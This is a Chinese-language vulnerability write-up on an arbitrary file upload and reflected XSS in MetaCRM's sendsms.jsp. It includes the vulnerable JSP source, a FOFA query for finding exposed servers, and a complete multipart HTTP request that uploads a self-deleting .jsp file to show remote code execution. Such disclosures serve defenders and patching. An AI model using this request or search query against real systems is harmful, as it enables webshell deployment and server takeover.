漏洞简介
MetaCRM 是一款广泛应用于企业客户信息管理、业务流程自动化及销售支持的客户关系管理系统。该系统中的 sendsms.jsp 接口存在任意文件上传漏洞,攻击者无需经过严格身份验证即可向服务器上传任意类型的文件,包括可执行的恶意脚本。一旦利用此漏洞,攻击者可能在服务器上部署后门、WebShell 等恶意程序,从而实现远程代码执行、服务器控制,甚至进一步窃取敏感数据或破坏业务系统的正常运行。该漏洞严重威胁系统的安全性与数据完整性,需及时修补和加固防护。
影响版本
fofa语法
body="/common/scripts/basic.js" && body="www.metacrm.com.cn"
漏洞分析
我们直接看 sendsms.jsp 的业务逻辑实现
<%
com.metasoft.framework.pub.upload.Upload myUpload=new com.metasoft.framework.pub.upload.Upload();
myUpload.initialize(pageContext);
myUpload.upload();
String touser = myUpload.getRequest().getParameter("touser");
String subject = myUpload.getRequest().getParameter("subject");
String affix = myUpload.getFiles().getFile(0).getFileName();
String body = myUpload.getRequest().getParameter("body");
int iCount = myUpload.getFiles().getFile(0).getSize();
//System.out.println("iCount="+iCount);
String path = com.metasoft.framework.pub.util.Path.getUserFile()+"temp"+java.io.File.separator;
String fileFullName = "";
if (iCount != 0) {
String fieldID = com.metasoft.framework.pub.util.UUID.getID();
if(affix.indexOf(".")!=-1)
fieldID +=affix.substring(affix.lastIndexOf("."));
myUpload.saveAs(path, fieldID);
fileFullName = path+fieldID;
}
%>
直接使用用户上传的文件名(affix)的扩展名(如.jsp)拼接生成服务器文件名(fieldID)。攻击者可上传恶意脚本文件(如.jsp),从而导致任意文件上传漏洞。
同时该文件还存在反射性XSS漏洞,因HTML表单部分 <input type="hidden" name="touser" value="<%=touser%>" /> 的数据来自用户提交,直接通过 myUpload.getRequest().getParameter("touser") 获取,并使用 JSP 表达式 <%= %> 直接输出到HTML中。缺失了对输入的转义或 sanitization。其他 subject、affix 等参数也是如此。
漏洞复现
POST /business/common/sms/sendsms.jsp HTTP/1.1
Host: metasoft.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.jsp "
<%out.println(new java.util.Random().nextInt(100));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary--

响应里回显了上传文件路径,直接访问,成功执行上传代码达到RCE



